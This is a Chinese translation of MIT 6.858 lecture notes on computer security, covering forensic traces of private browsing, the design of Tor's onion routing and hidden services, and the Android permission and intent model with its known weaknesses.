  • 现成的取证工具可以找到私密浏览器会话的证据。

    • 例如: Magnet 的 Internet Evidence Finder [1][2],可以找到 IE、Chrome 和 Firefox 的私密会话痕迹。

      • 在私密会话期间,IE 将对象存储在文件系统中。这些对象在私密会话关闭时被删除,但存储空间并未被擦除,因此私人数据仍然存在于未分配的磁盘空间中。

      • Chrome 和 Firefox 在私密浏览期间使用内存中的 SQLite 数据库,因此在文件系统中留下较少的痕迹。然而,像所有浏览器一样,它们在页面文件中留下痕迹。

Tor

注意: 这些讲座笔记是从 2014 年 6.858 课程网站上发布的笔记中稍作修改的。

论文的目标是什么(或 Tor 的目标是什么)?

  • 为了客户端的匿名性,他们想要连接到互联网上的服务器。

  • 对于希望为用户提供服务的服务器的匿名性。

  • 什么是匿名性?

    • 对手无法确定哪些用户正在与哪些服务器通信。

    • 对手(最有可能)知道用户,服务器是通过 Tor 进行通信的。

    • 换句话说,Tor 并不是为了防止对手找到 Tor 用户而设计的。

如何实现匿名性?

  • 必须加密要匿名的人的流量。

    • 否则,对手会查看数据包并弄清楚发生了什么。
  • 但加密并不足够:仍然可以追踪加密数据包的去向。

  • 将一个用户的流量与其他用户的流量混合(或“掩盖流量”)。

    • 一个用户的匿名性需要有许多其他像第一个用户一样的用户。

    • 如果所有其他用户只运行 BitTorrent,那么维基百科用户很容易被发现。

    • 如果所有其他用户使用 Firefox,那么 Chrome 用户很容易被发现。

    • ...

  • 对手将无法确定哪个用户发起了什么连接。

  • 混合组件必须更改数据包(例如,加密/解密)。

    • 否则,可以查找相同数据包稍后出现的位置。
  • 因此,方法是:通过加密/解密的中间人中继流量。

为什么我们需要多个节点?

  • 可扩展性:处理比单个节点更多的流量。

  • 妥协:攻击者了解有关受损节点的直接客户端的信息。

    • 有许多独立节点,这只影响了一小部分流量。

    • 使用洋葱路由,攻击者必须妥协链中的所有节点。

  • 流量分析:攻击者可以相关联传入/传出的流量。

    • 可以查看数据包之间的时间间隔或数据包的数量。

    • 链接使时间/数据量分析攻击更难实施。

  • 攻击者仍然能够成功吗?

    • 是的,如果他们观察或者妥协足够多的节点。

    • 例如,可能足以观察第一个和最后一个节点。

    • 攻击者还可以注入时间信息(通过延迟数据包)进行分析。

主要思想:洋葱路由

  • 网络中的洋葱路由器(ORs)的网格。

  • 假设:客户端知道所有 ORs 的公钥。

  • 客户端选择通过这个网络的某条路径。

  • 洋葱路由的天真草人(不完全是 Tor):

    • 客户端依次在路径中的每个 OR 的公钥中加密消息。

    • 将消息发送到路径中的第一个 OR,该 OR 解密并中继,依此类推。

    • “出口节点”(路径中的最后一个 OR)将数据发送到真实网络中。

  • 为什么这是一个好的设计?

    • 每个 OR 都知道前一个和下一个跳跃,而不知道最终源或目的地。

    • 通过两个 ORs,妥协一个 OR 并不会破坏匿名性。

在哪个级别应该中继事物?

  • 可以在任何级别进行--IP 数据包,TCP 连接,应用级别(HTTP)

  • 优势/劣势是什么?

    • 低级别(IP):更一般,更少的应用程序更改,适用于更多应用程序。

    • 更高级别(TCP,HTTP):更高效(单个 TCP 帧的开销,而不是存储单个 TCP 帧的多个 IP 帧的开销),更匿名。

  • Tor 做了什么?

    • 使用 SOCKS 进行 TCP 级中继,拦截 libc 调用。

    • 效率的例子:不需要 TCP 流量控制,Tor 进行重传

    • 丢失通用性的例子:UDP 无法工作,无法进行路由跟踪,..

    • Tor 如何处理 DNS,如果不支持 UDP?

      • SOCKS 可以捕获目的地的主机名,而不仅仅是 IP 地址

      • 出口节点执行 DNS 查找,建立 TCP 连接

  • 丢失在较低层的匿名性的例子?

    • 如果我们使用 IP,将泄漏大量 TCP 信息(序列号,时间戳)

    • 如果我们使用 TCP,将泄漏各种 HTTP 头和 cookie。

    • 如果我们使用 HTTP,可以通过 Javascript,Flash 等违反匿名性。

      • Javascript 环境中有许多可识别的特征。

      • 浏览器版本,历史嗅探,本地网络地址/服务器..

    • “协议规范化”:在更高级别协议中修复所有自由度。

      • 在实践中很难做到;特定于应用程序的代理很有用(例如,Privoxy)。

      • 浏览器“识别”的演示:https://panopticlick.eff.org/

Tor 设计

  • OR 的网格:每个 OR 通过 SSL/TLS 连接到其他每个 OR。

    • 不需要 CA 签名的 SSL/TLS 证书。

    • Tor 有自己的公钥检查计划,使用目录服务器。

    • OR 主要由志愿者运行:例如,MIT 运行几个。

  • 终端用户运行实现 SOCKS 的洋葱代理(OP)。

  • OR 有两个公钥:身份密钥和洋葱密钥。

  • 身份密钥在目录中注册,签署 OR 状态。

  • Onion 密钥由 OP 用于连接 OR,建立电路。

    • 客户端从目录下载 OR 列表。

    • 选择一系列 OR 形成电路,依次联系每个 OR。

  • 客户端建立电路是昂贵的。- 为什么要这样做?

    • 任何单个服务器可能被 compromise,无法信任它。

    • 无法避免信任客户端机器。

  • 为什么我们需要洋葱密钥以及身份密钥?

    • 可能能够保护身份密钥免受长期损害。

    • 每个 OR 使用身份密钥签署其当前的洋葱密钥。

  • Tor 为什么需要目录?

    • 需要有人批准 OR。

      • 否则攻击者可以创建许多 OR,监视流量。
    • 目录是否会损害匿名性?

      • 不,不需要在线查询。
    • 如果一个目录被 compromise 了怎么办?

      • 客户端需要大多数目录同意。
    • 如果许多目录被 compromise 了怎么办?

      • 攻击者可以注入许多 OR,监视流量。
    • 如果目录不同步怎么办?

      • 攻击者可能根据目录信息缩小用户身份范围。

      • 看到一组目录消息的用户将使用特定的 OR。

术语:电路和流。

  • 电路:客户端建立的通过 OR 列表的路径。

    • 电路存在一段时间(也许几分钟)。

    • 定期打开新的电路以防止攻击。

  • 流实际上是一个 TCP 连接。

    • 许多流在同一电路上运行(每个具有单独的流 ID)。

    • 流是一个重要的优化:无需重建电路。

  • Tor 为什么需要电路?

  • 如果电路存在时间很长会出现什么问题?

    • 对手可能将多个流关联到一个电路中。

    • 将单个用户的连接与不同站点联系起来,破坏匿名性。

Tor 电路

  • 电路是 OR 序列,以及共享的(对称 AES)密钥。

    • ORs c_1, c_2, .., c_n

    • k_1, k_2, .., k_n

  • 单元格格式:

    • +---------+---------------+-----------+

    • | 电路 | 控制/中继 | - 数据 |

    • +---------+---------------+-----------+

    • 2 字节 + 1 字节 + 509 字节

  • 将"Circuit"和"Control/Relay"字段视为链路层头部。

    • 电路 ID 是每对 OR 之间的。

    • 用于在 OR 之间的同一 TLS 连接上多路复用许多电路。

    • 控制消息是"链路本地的":仅发送给直接邻居。

    • 中继消息是"端到端的":沿着电路中继。

  • 为什么所有流量都是固定大小的单元格?

    • 使流量分析更加困难。
  • 控制命令是什么?

    • 填充:保持活动或链路填充。

    • create/created/destroy:创建和销毁电路。

  • 中继数据包中有哪些中继命令(DATA 中有什么)?

    • 如果中继数据包目标是当前节点:

    • +----------+--------+-----+-----+-----------+

    • | StreamID | Digest | Len | CMD | RelayData |

    • +----------+--------+-----+-----+-----------+

    • 2 字节 + 6 字节+ 2 + 1 + 498 字节

    • 如果中继数据包目标是另一个节点:

    • +-------------------------------------------+

    • | 加密的、不透明的数据 + + + + + |

    • +-------------------------------------------+

    • + + + + 509 字节

  • TCP 数据的 CMD 字段是"中继数据"。

  • 其他值如"relay begin"等用于建立流。

OP 如何通过电路发送数据?

  • 如上所述组成中继数据包(尚未加密)。

  • 计算有效的校验和(摘要)。

    • 摘要基于应解密数据包的目标 OR。

    • 哈希是通过某个键的函数和与该 OR 交换的所有消息进行的。

      • 防止重放攻击和主动攻击
    • 摘要的前 2 个字节为零,其他 4 个字节来自哈希。

  • 使用AES(k_n)加密,然后使用AES(k_{n-1}), .., AES(k_1)加密。

  • 发送加密单元格到第一个 OR(c_1)。

    • (OP 通过电路接收数据的逆过程。)

OR 如何处理中继数据包?

  • 如果来自 OP 的方向,解密并远离 OP 转发。

  • 如果不是来自 OP 的方向,加密并转发至 OP

OR 如何知道中继数据包是否适用于它?

  • 验证校验和:如果匹配,则很可能适用于当前 OR。

  • 优化:摘要的前 2 个字节应为零。

    • 如果前两个字节不为零,则可以跳过哈希:不是我们的数据包。
  • 如果校验和不匹配,则不适用于此 OR,继续中继。

  • 美好的特性:

    • 数据包大小与路径长度无关。

    • 只有最后一个 OR 知道目的地。

如何建立一个新的流?

  • OP 通过电路发送"relay begin"。- 包含目标主机名、端口。

  • 谁选择流 ID?- OP 可以在其电路中选择任意流 ID。

什么是"漏水管"拓扑?

  • OP 可以向其电路中的任何 OR 发送中继消息(不仅仅是最后一个 OR)。

  • 可以通过任何 OR 构建流(即,TCP 连接),以防止流量分析。

初始化电路

  • OP 选择要用于其电路的 OR 序列。

    • 为什么要让 OP 这样做?- 抵抗其他 OR“转移”电路。
  • 连接到第一个 OR,发出“创建”操作以创建电路。

    • 创建包括 DH 密钥交换消息。

    • 创建响应包括 DH 密钥交换回复。

  • 密钥交换协议:

    • [OP,OR 同意素数 p,生成器 g]

    • OP 选择随机 x。

    • OP 发送E_{PK_OR}(g^x)

    • OR 选择随机 y。

    • OR 计算K=g^xy

    • OR 回复g^y, H(K || "handshake")

    • OP 计算K=g^xy

  • 我们如何在这里验证各方身份?

    • 第一个 DH 消息使用 OR 的洋葱密钥加密。

    • DH 响应中密钥的哈希证明向客户端证明正确的 OR 解密了消息。

    • 服务器不验证客户端-匿名性!

  • 前向保密:是什么?如何实现?

  • 密钥新鲜度:为什么?如何实现?

  • 谁选择电路 ID?

    • TLS 连接的客户端端点(而不是整个电路的 OP)。

    • 每个电路对于其穿越的每个链接具有不同的电路 ID。

  • 控制数据包中的数据是什么?

    • 控制操作(创建,销毁)或响应(例如,已创建)。

    • 参数(例如,DH 密钥交换数据)。

  • 对于每个后续 OR,OP 通过电路发送“中继扩展”消息。

    • 在“中继扩展”单元中包含相同的 DH 密钥交换消息。

    • 在电路结束时,“中继扩展”转变为“创建”。

    • 客户端最终获得每个电路中每个 OR 的共享(对称 AES)密钥。

  • Tor 为什么有单独的控制单元和中继单元?

    • 确保单元始终具有固定大小。

    • 旧电路中的最后一个 OR 需要知道新 OR 和电路 ID。

每个通过 OR 的电路保留哪些状态?

  • 电路中两个方向(从 OP 到 OR)的电路 ID 和相邻 OR。

  • 与此电路和此 OR 的 OP 共享密钥。

  • 每个电路的 SHA-1 状态。

我们能否避免在网络中存储所有这些状态?

  • 没有每个单元中的可变长度路径描述符。

  • 出口节点同样需要路径描述符才能知道如何发送回去。

  • 中间节点需要执行公钥加密(昂贵)。

Tor 为什么需要出口策略?

  • 防止滥用(例如,匿名发送垃圾邮件)。

  • 出口策略类似于防火墙规则(例如,不能连接到端口 25)。

    • 每个出口节点在打开新连接时检查出口策略。
  • 为什么在目录中发布出口策略,以及其他节点信息?

    • 不用于强制执行。

    • OP 需要知道哪些出口节点可能有效。

如果 Tor 不进行完整性检查会怎样?

  • 需要完整性以防止标记攻击。

  • 攻击者入侵内部节点,损坏数据包。

  • 损坏的数据包最终会被发送出去,可以观察它们的去向。

Tor 如何防止重放攻击?

  • 每个校验和实际上是 OP 和 OR 之间所有先前单元的校验和。

  • 再次发送相同数据的校验和将不同。

  • 运行良好,因为底层传输是可靠的(SSL/TLS 在 TCP 上)。

匿名服务

  • 隐藏服务由公钥命名(伪 DNS 名称“publickey.onion”)。

  • 为什么要在介绍点和会面点之间分开?

    • 避免在介绍点上放置流量负载。

    • 避免介绍点传输已知非法数据。

  • 分割可以防止这两个问题。

    • Bob(服务)有一个介绍点(IP)。

    • Alice 选择一个会面点(RP),告诉 Bob 的 IP 关于 RP。

    • 介绍点不中继数据。

    • 会面点不知道它正在中继的数据是什么

  • 为什么 Bob 要连接回 Alice?

    • 准入控制,将负载分散到许多会面点。
  • 什么是会面点 cookie?-让 Bob 向 Alice 的 RP 证明它是 Bob。

  • 什么是授权 cookie?

    • 一些可能会促使 Bob 回复的东西,否则他不会回复。

    • 或许是大多数人不知道的秘密词语。

    • 限制对 Bob 服务器的 DoS 攻击(只需发送许多 cookie)。

    • 存储在主机名中:cookie.pubkey.onion。

  • 最终状态:两个电路连接到 RP,之间有一个流连接。

    • RP 从一个电路的流中获取中继单元,并

    • 将它们发送到另一个电路中的流中。

    • 使用 Alice 和 Bob 之间共享的密钥(DH)加密桥接数据。

    • 每个人都可以控制自己的匿名级别。

    • 两个电路的完整路径都不知道。

使用 Tor 时可能会遇到的潜在问题?

  • 应用层泄漏(Javascript,HTTP 头,DNS,..)

    • 使用应用级代理(例如,Privoxy 剥离许多 HTTP 头)。
  • 基于 Tor 客户端行为的指纹识别(新电路打开的频率)。

  • 时间/量分析(部分防御是运行自己的 Tor OR)。

  • 对网站进行指纹识别:流行网站的请求次数和文件大小。

    • 固定大小单元的量化有所帮助。
  • 恶意 OR:加入网络,广告大量带宽,开放出口政策。

运行 OR 的好处/风险?

好处:

  • 更多的匿名性

风险:

  • 资源使用

  • 在线攻击(DoS,入侵,..)

  • 离线攻击(例如,机器被执法部门扣押)

阻止 Tor 有多难?

  • 从目录中找到 OR IP 列表,阻止所有流量到它们。

  • 如何防御这种攻击?

  • 向不同的客户端透露不同的 OR?

    • 允许基于使用的 OR 对客户端进行指纹识别。
  • 保持一些未列出的 OR?

    • 只将未列出的 OR 用作第一跳,以避免指纹识别。

    • Tor 有“桥接”节点的概念,这是一个未列出的 OR。

  • 如何找到这些未列出的“桥接”OR?

    • 希望合法用户找到它们,但不让对手枚举它们。

    • Tor 采取的方法:特殊的桥接目录。

    • 向每个 IP(通过 HTTP)或电子邮件地址(通过电子邮件)透露 3 个桥接。

    • 仅在 24 小时后向相同客户端地址透露新的桥接。

    • 可以按 IP 限制速率,找到尝试枚举桥接数据库的尝试等。

    • 对于电子邮件,对手更容易创建虚假身份(电子邮件地址)。

    • Tor 信任 3 个邮件提供商来限制注册(gmail,yahoo,mit)。

你会使用 Tor 吗?它适用于哪些应用程序?

  • 可能对所有流量使用速度太慢(高延迟)。

  • 但不幸的是,这意味着只有敏感流量会通过 Tor 传输。

  • 可能存在可信攻击,因此对抗非常强大的对手不是很好。

  • 或许是避免拒绝服务攻击的好方法(即,转移到 Tor 上)。

  • 据说,谷歌使用 Tor 来检查服务器是否特殊处理谷歌的 IP 地址。

Tor 有多活跃?

  • 现在比论文描述的使用更加活跃。

    • ~3000 个公共 ORs,~1000 个出口节点,~1000 个桥接节点,~2GB/s 的 OR 带宽。

    • 8-9 (?) 个目录服务器,约 1600 个目录镜像。

  • 困难问题:分发入口点 IP 地址,批准 ORs,..

  • 有些 BitTorrent 使用,但并不压倒性:主要是因为对于大文件来说太慢了。

另一种方法:DC-nets(“用餐密码学家网络”)。

  • N 个参与者,但假设只有一个发送者(不知道是谁)。

  • 每对参与者共享一个秘密比特位。

  • 要传输“0”比特位,发送所有秘密的异或值。- 否则,发送相反的值。

  • 所有传输都是公开的:为了恢复比特位,对所有人的传输进行异或运算。

  • 可以建立发送多个比特位,使用冲突检测协议等。

  • 在性能方面代价高昂,但提供比 Tor 更强大的安全性。

  • 查看 Dissent OSDI 2012 论文,了解基于 DCnet 的系统的更多细节。

参考:

Android 安全

注意: 这些讲座笔记略有修改,来自 2014 年 6.858 课程网站上发布的内容。

为什么选择这篇论文?

  • 真实系统,被广泛使用。

  • 谨慎的安全设计(比 Web 或桌面应用程序更重要)。

    • 原则=应用程序(而不是用户)

    • 策略与代码(清单)分离

  • 一些问题是不可避免的,并且看到问题出现的地方是有启发性的。

  • 但也有趣的是看如何设计一个合理的安全计划。

威胁模型

  • 目标: 任何人都可以编写任何人都可以安装的应用程序

  • 威胁:

    • 应用程序可能存在错误

    • 应用程序可能是恶意的

CVE 数据库

总体计划

  • 首先了解 Android 应用程序的外观和工作原理。

  • 然后讨论安全机制和策略。

Android 应用程序是什么样子的?

  • 四种组件类型:

    • 活动: 应用程序的 UI 组件,通常每个“屏幕”一个活动。

    • 服务: 后台处理,可以被其他组件调用。

    • 内容提供程序: 可被其他组件访问的 SQL 数据库。

    • 广播接收器: 接收来自其他组件的广播通知。

  • 每个应用程序还有私有文件存储。

  • 应用程序通常用 Java 编写。

  • 运行在 Linux 内核+Android“平台”上(稍后会介绍)。

  • 应用程序还有一个声明其权限的清单(稍后)。

  • 整个应用程序由开发者签名。

活动:可以在屏幕上绘制,获取用户输入等。

  • 一次只有一个活动在运行。

  • 帮助用户推理输入的安全性。

  • 如果用户正在运行银行应用程序(活动),则没有其他活动获取用户的输入。

意图:Android 中的基本消息原语。

  • 代表应用程序意图做某事/与另一个组件交互。

意图字段:

  • 组件:将请求路由到的组件名称(只是一个字符串)。

    • 例如,com.google.someapp/ComponentName
  • 操作:此消息的操作码(只是一个字符串)。

    • 例如,android.intent.action.MAINandroid.intent.action.DIAL,...
  • 数据:用于动作的数据的 URI(只是一个字符串)。

    • 例如,tel:16172536005content://contacts/people/1(用于拨号)。

    • 还包括数据的 MIME 类型。

  • 类别:用于查找发送意图的过滤机制。

    • 例如,android.intent.category.BROWSABLE表示可以从浏览器调用,用于动作android.intent.action.VIEW,该动作查看数据中的 URI。
  • 显式意图:指定组件名称。

  • 隐式意图:没有组件名称,因此系统必须找出。

    • 查看动作,数据,类别。

    • 如果有多个组件匹配,也可以询问用户要使用哪个应用程序。

    • 例如,用户点击地址 - 要打开哪个地图应用程序?

对服务的 RPC

  • 初始与服务的通信通过发送意图进行。

  • 服务还可以为客户端定义一个 RPC 协议。

    • 比每次发送意图更有效。

    • 客户端将连接“绑定”到服务。

网络 - 访问互联网。

  • 与任何其他 Linux 系统中一样工作。

  • 应用程序可以直接使用套接字,也可以通过 Java 的网络库。

为什么我们需要一个新的应用程序模型?(或者,现有模型有什么问题?)

  • 桌面应用程序:

    • -- 应用程序之间的隔离不够。

    • -- 每个应用程序都拥有完整的特权,任何一个恶意应用程序都可以接管。

    • ++ 应用程序可以轻松互相交互,共享文件。

    • ++ 用户可以为每个任务选择应用程序(电子邮件应用程序、图像查看器等)。

  • 基于 Web/浏览器的应用程序:

    • ++ 无需安装应用程序或担心本地状态。

    • -- 在典型模型中需要服务器(离线使用困难)。

    • -- 应用程序之间的互动有限。

    • -- 存在的互动通常是硬编码到特定的 URL。

      • 例如,链接到联系管理器应用程序的 URL:用户无法选择新的。

      • 越来越好:尝试解决此问题的“Web 意图”。

    • -- 纯客户端应用程序的功能有些受限。

      • 越来越好:相机、位置信息、本地存储、工作线程等。

Android 访问控制

Android 的应用程序模型如何处理应用程序互动、用户选择应用程序?

  • 主要基于意图。

  • 如果多个应用程序可以执行一个操作,发送隐式意图。

  • Android 框架决定哪个应用程序获得意图;可以询问用户。

Android 的应用程序模型如何处理应用程序隔离?

  • 每个应用程序的进程在 Linux 中运行在单独的 UID 下。

    • 例外:一个开发者可以将多个应用程序捆绑到一个 UID 中。
  • 每个应用程序都有自己的 Java 运行时(但这主要是按照惯例)。

  • Java 解释器不受信任,甚至不是必需的;内核强制执行隔离。

每个应用程序 UID 有什么好处?

  • 一个应用程序不能直接操作另一个应用程序的进程、文件。

  • 每个应用程序都有私有目录(/data/data/appname)。

    • 存储首选项、内容提供程序的 sqlite 数据库、缓存文件等。

UID 隔离缺少什么:对共享资源的访问控制。

  • 网络访问。

  • 可移动的 sd 卡。

  • 设备(相机、指南针等)。

  • 意图:谁可以发送,什么意图,发送给谁?

  • 我们还需要以某种方式确定所有这些的策略。

首先,机制:Android 如何控制对上述所有内容的访问?

  • 网络访问:GIDs。

    • 特殊的组 ID 定义了应用程序可以与网络通信的内容。

      • GID AID_NET_BT_ADMIN (3001): 可以创建低级蓝牙套接字

      • GID AID_NET_BT (3002): 可以创建蓝牙套接字

      • GID AID_INET (3003): 可以创建 IP 套接字

      • GID AID_NET_RAW (3004): 可以创建原始套接字

      • GID AID_NET_ADMIN (3005): 可以更改网络配置(ifconfig,..)

    • 需要内核更改才能实现这一点。

    • 每个应用程序根据其特权获得这些组 ID 的子集。

    • 没有对网络通信进行更精细的控制。

      • 例如,可以想象按 IP 地址或按来源类似的策略。
  • 访问可移动 SD 卡。

    • 为什么不使用文件系统权限?

      • 希望在 SD 卡上使用 FAT 文件系统,以允许在其他设备上访问。

      • FAT 文件系统没有文件所有权、权限等概念。

    • 内核将所有 SD 卡文件视为特殊组 sdcard_rw(1015)拥有。

    • 应该访问 SD 卡的应用程序在其组列表中具有此 GID。

    • 在整个 SD 卡内没有更精细的隔离。

  • 设备。

    • 设备文件(/dev/camera/dev/compass 等)由特殊组拥有。

    • 应用程序在其组列表中以适当的组运行。

  • 意图。

    • 所有意图都经过单个可信的“参考监视器”路由。

    • 运行在 system_server 进程中。

    • 参考监视器执行意图解析(将意图发送到哪里?),

      • 用于隐式意图。[ref: ActivityStack.startActivityMayWait]
    • 参考监视器检查权限,基于意图和发送者。[ref: ActivityStack.startActivityLocked]

    • 将意图路由到适当的应用程序进程,或启动一个新的进程。

  • 为什么不只使用意图来处理一切,而不是使用特殊组?

    • 效率:希望直接访问相机、网络、SD 卡文件。

    • 通过意图发送所有内容可能会带来重大开销。

参考监视器如何决定是否允许一个意图?

  • 分配给应用程序和组件的“标签”。

    • 每个标签都是一个自由格式的字符串。

    • 通常以 Java 风格的包名称编写,以确保唯一性。

    • 例如,com.android.phone.DIALPERM

  • 每个组件都有一个保护它的单个标签。

    • 对该组件的任何意图必须由具有该标签的应用程序发送。

    • 例如,电话拨号服务标记为 ...DIALPERM

    • 对于内容提供程序,有两个标签:一个用于读取,一个用于写入。

  • 应用程序有一个授权使用的标签列表。

    • 例如,如果应用程序可以拨打电话,则 ...DIALPERM 在其标签集中。
  • 其他权限(网络、设备、SD 卡)映射到特殊的标签字符串。

    • 例如,android.permission.INTERNET 被翻译为应用程序在 GID 3003 下运行。

应用程序如何获得一组特定标签的权限?

  • 每个应用程序都有一个声明其所需权限(标签)的清单。

  • 还声明了应该保护每个组件的标签。

  • 当应用程序安装时,Android 系统会询问用户是否允许安装应用程序。

  • 提供应用程序正在请求的权限列表。

曾经,Android 允许用户设置细粒度的权限选择。

  • Android 4.3 引入了“权限管理器”。

  • 显然,这在 Android 4.4 中被移除了。

  • 可能的原因:开发人员希望对事物有可预测的访问。

谁定义权限?

  • 应用程序自己定义权限(回想:只是自由格式的字符串)。

  • Android 系统为内置资源(相机、网络等)定义权限。

    • 可以使用 'adb shell pm list permissions -g' 列出。
  • 内置应用程序为其提供的服务定义权限。

    • 例如,读取/写入联系人、发送短信等。
  • 定义权限意味着指定:

    • 权限的用户可见名称。

    • 用户的权限描述。

    • 将权限分组到一些类别中(花费、私人数据等)。

    • 权限类型:“正常”、“危险”和“签名”。

三种权限类型的含义是什么?

  • 正常:

    • 可能会让应用程序烦扰用户,但不会造成严重后果的良性权限。

      • 例如,SET_WALLPAPER

      • 比较 $(pm list permissions -g -d) 和 $(pm list permissions -g)

    • 系统不会询问用户有关“正常”权限。

    • 为什么要有这些权限?

      • 可以在真正感兴趣时进行审查。

      • 最小权限原则,如果应用程序以后被破坏。

  • 危险:

    • 可能允许应用程序执行危险操作。

    • 例如,访问互联网、访问联系信息等。

  • 签名:

    • 只能授予由同一开发人员签名的应用程序。

    • 想要强制使用 HTTPS:希望防止用户意外泄露。

为什么在引用监视器中进行此检查,而不是在每个应用程序中?

  • 便利性,以防程序员忘记。

    • 可以在应用程序端的库中执行。
  • 根据权限可能将意图路由到不同的组件。

    • 不想发送一个意图给组件 A,而另一个组件 B 却愿意接受它。
  • 强制访问控制(MAC):权限与代码分开指定。

    • 附注:烦恼,MAC 是一个多义词缩写。

      • 媒体访问控制 -- 以太网中的 MAC 地址。

      • 消息认证码 -- Kerberos v4 缺少的东西。

    • 希望了解系统的安全属性而不查看代码。

  • 对比:Unix 中的自主访问控制(DAC)。

    • 每个应用程序都可以在文件上设置自己的权限。

    • 权限可以随时间由应用程序更改。

    • 看当前文件权限无法准确预测会发生什么。

  • 应用程序也可以执行自己的检查。[ref: checkCallingPermission()]

    • 有点破坏了 MAC 模型:不能只看清单。

    • 有必要,因为一个服务可能导出不同的 RPC 函数,

      • 想要为每个权限设置不同级别的保护。
    • 引用监视器只检查客户端是否可以访问整个服务。

谁可以注册接收意图?

  • 任何应用程序都可以指定要接收具有任意参数的意图。

  • 例如,可以在意图过滤器中创建活动(在清单中):

示例:

 <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="http" android:host="web.mit.edu" />
  </intent-filter> 
  • 这是一个问题吗?

    • 为什么或为什么不?
  • 每当用户点击链接到 http://web.mit.edu/ 时,系统会提示用户。

    • 只有“顶层”用户点击转换为意图,而不是网页组件。
  • 如果提示用户可能会没问题。

    • 即使如此,如果您唯一的地图应用程序是“不好的”:窃取发送给它的地址?
  • 对于广播意图来说并不是很好,因为会发送给所有可能的接收者。

控制广播意图的分发。

  • 在文档的示例中,希望FRIEND_NEAR意图不被所有人披露。

  • 解决方案:发送方在发送广播意图时可以指定额外的权限标签。

  • 参考监视器只将此意图发送给具有该标签的接收方。

如何验证意图的来源?

  • 通常在接收组件上使用权限标签。

    • 只要发送方具有正确的权限,就不一定关心发送方是谁。
  • 结果应用程序经常忘记在广播接收器上设置权限限制。

    • 2011 年 Usenix 安全论文:"权限再委托攻击"。

    • 例如,可以创建一个永远响铃和震动的闹钟。

    • 例如,可以向设置广播接收器发送消息以切换 wifi 等。

  • 安卓中的一个解决方案:"受保护的广播"(不完整,但是..)

    • 参考监视器特殊处理一些意图操作(例如,系统启动)。

    • 只有系统进程可以发送那些广播意图。

发送方是否可以依赖名称将意图路由到特定组件?

  • 更广泛地说,安卓如何验证名称?(应用程序名称,权限名称。)

  • 没有一般计划,只是先到先得。

  • 系统名称(应用程序,权限等)在这个模型中获胜。

  • 其他应用程序可能会被先到的恶意应用程序抢占。

  • 可以通过使用应用程序的名称向恶意应用程序发送敏感数据。

  • 可以通过查看发送者名称信任恶意应用程序的意图。

  • 可以通过使用恶意应用程序的权限名称设置宽松权限。

如果两个应用程序定义了相同的权限名称会发生什么?

  • 先到先得。

  • 恶意应用程序可以将一些重要权限名称注册为"正常"。

  • 任何应用程序(包括恶意应用程序)现在都可以获得此权限。

  • 其他依赖此权限的应用程序将容易受到恶意应用程序的攻击。

    • 即使受害应用程序定义了自己的权限并且是唯一使用它的应用程序。(例如,签名权限。)
  • 可能更好的做法:如果权限已经定义,则拒绝安装应用程序。

    • 允许应用程序假设其自己的权限已经正确定义。

    • 仍然不允许应用程序假设其他应用程序/权限名称的任何内容。

如果应用程序名称没有经过验证,为什么应用程序需要签名?

  • 代表开发者。

  • 对 CA 没有真正的要求。

  • 帮助安卓回答三个问题:

    • 这个新版本的应用程序是否来自与旧版本相同的开发者?(如果是,可以升级。)

    • 这两个应用程序是否来自同一开发者?(如果是,可以请求相同 UID。)

    • 应用程序是否来自定义权限的相同开发者?(如果是,可以获得访问签名级别权限。)

如何给另一个应用程序临时权限?

  • URI 委托。

    • URI 读/写访问的能力式委托。

    • 系统通过文字字符串 URI 跟踪委托访问。

      • 例如,content://gmail/attachment/7
    • 必须记得撤销委托访问!

      • 例如,URI 可能表示稍后的另一条记录..[ref: grantUriPermission(), revokeUriPermission()]
    • 参考监视器将授予的 URI 保留在内存中。[ref: ActivityManagerService.mGrantedUriPermissions]

    • 授权是短暂的,只持续到重新启动。

  • 待定意图。

    • 用例:从闹钟/时间服务回调到您的应用程序。

    • system_server 在内存中跟踪挂起的意图;短暂的。[参考:PendingIntentRecord.java]

    • 撤销问题,与 URI 委托一样。“破坏”了 MAC 模型:无法完全从清单中推理出所有安全性。

应用程序存储在哪里?

  • 两个选项:内部手机存储器或 SD 卡。

  • 内部存储器始终由 Android 控制,因此可以假设它是安全的。

  • 在 SD 卡上安装应用程序更加复杂,但由于空间原因更可取。

    • 威胁模型:

      • 担心恶意应用程序修改 SD 卡数据。

      • 担心恶意用户复制付费应用程序。

    • SD 卡使用 FAT 文件系统,没有文件权限。

    • 方法:使用每部手机的随机密钥对应用代码进行加密/认证。

    • 密钥存储在手机的内部闪存中,对应手机唯一。

Android“平台”的安全性有多高?

  • TCB:内核+任何以 root 身份运行的东西。

  • 优于桌面应用程序:

    • 大多数应用程序不属于 TCB 的一部分。

    • 作为 root 运行的东西要少得多。

  • 一些漏洞在实践中显现。

  • Linux 内核或 setuid-root 二进制文件中的错误允许应用程序获取 root 权限。

    • 如何做得更好?

    • 系统调用过滤/ seccomp 使利用内核漏洞变得更加困难?

    • 不清楚。

  • 用户无意中安装具有危险权限的恶意软件应用程序。

    • 实际常见的恶意软件:向高价号码发送短信。

    • 攻击者通过部署此类恶意软件直接获得金钱。

    • 用户为什么会犯这样的错误?

      • 一个原因:某些权限对于平凡任务和敏感任务都是必要的。

      • 例如,访问电话状态/身份需要获取唯一设备 ID。

      • 导致不必要请求危险权限,使用户麻木不仁。

      • 另一个原因:应用程序提前要求权限“以防万一”。

      • 例如,可能以后需要它们,但更改权限需要手动更新。

      • 另一个原因:无法拒绝某些权限。

      • 另一个原因:包含恶意软件的现有 Android 应用程序的副本。

    • 如何修复?

      • 找到允许更多“非危险”权限而无需询问用户的方法。

      • 允许用户有选择地禁用某些权限。(有关此方面的一些研究工作,请参见下面的参考资料。)

      • 静态/运行时分析和审计--现在由 Google 实施。

        • 寻找现有热门应用程序的几乎相同的克隆。

        • 运行应用程序一小段时间以确定它们的功能。

        • 安全研究人员在 Google 的应用程序扫描程序上获得了(非 root)shell。

        • 事后合理预期:应用程序扫描程序只运行应用程序。

      • Android 的应用市场(Google Play)允许 Google 远程停用应用程序。

移动电话应用程序中的安全性的另一种模型:iOS/iPhone。

  • 安全机制:所有应用程序运行两个可能的 UID。

    • 苹果应用程序一个 UID,其他所有应用程序另一个 UID。

    • 从历史上看是有道理的:一次只有一个应用程序处于活动状态。

    • 随着多任务应用程序的切换,未更改 UID 模型。

    • 反而,使用苹果的沙盒隔离应用程序(“Seatbelt”?)。

